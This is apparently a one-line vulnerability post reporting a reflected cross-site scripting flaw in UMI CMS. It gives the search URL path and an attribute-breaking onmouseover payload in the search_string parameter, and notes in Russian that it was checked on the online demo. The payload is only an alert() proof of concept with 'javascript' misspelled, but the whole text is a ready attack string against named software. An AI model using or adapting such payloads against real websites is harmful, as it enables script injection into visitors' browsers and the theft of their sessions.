UMI CMS xss url:umi-cms.ru /search/search_do/?search_string=%22%20onmouseover=%22javacript:alert(); Проверено на онлайн-демо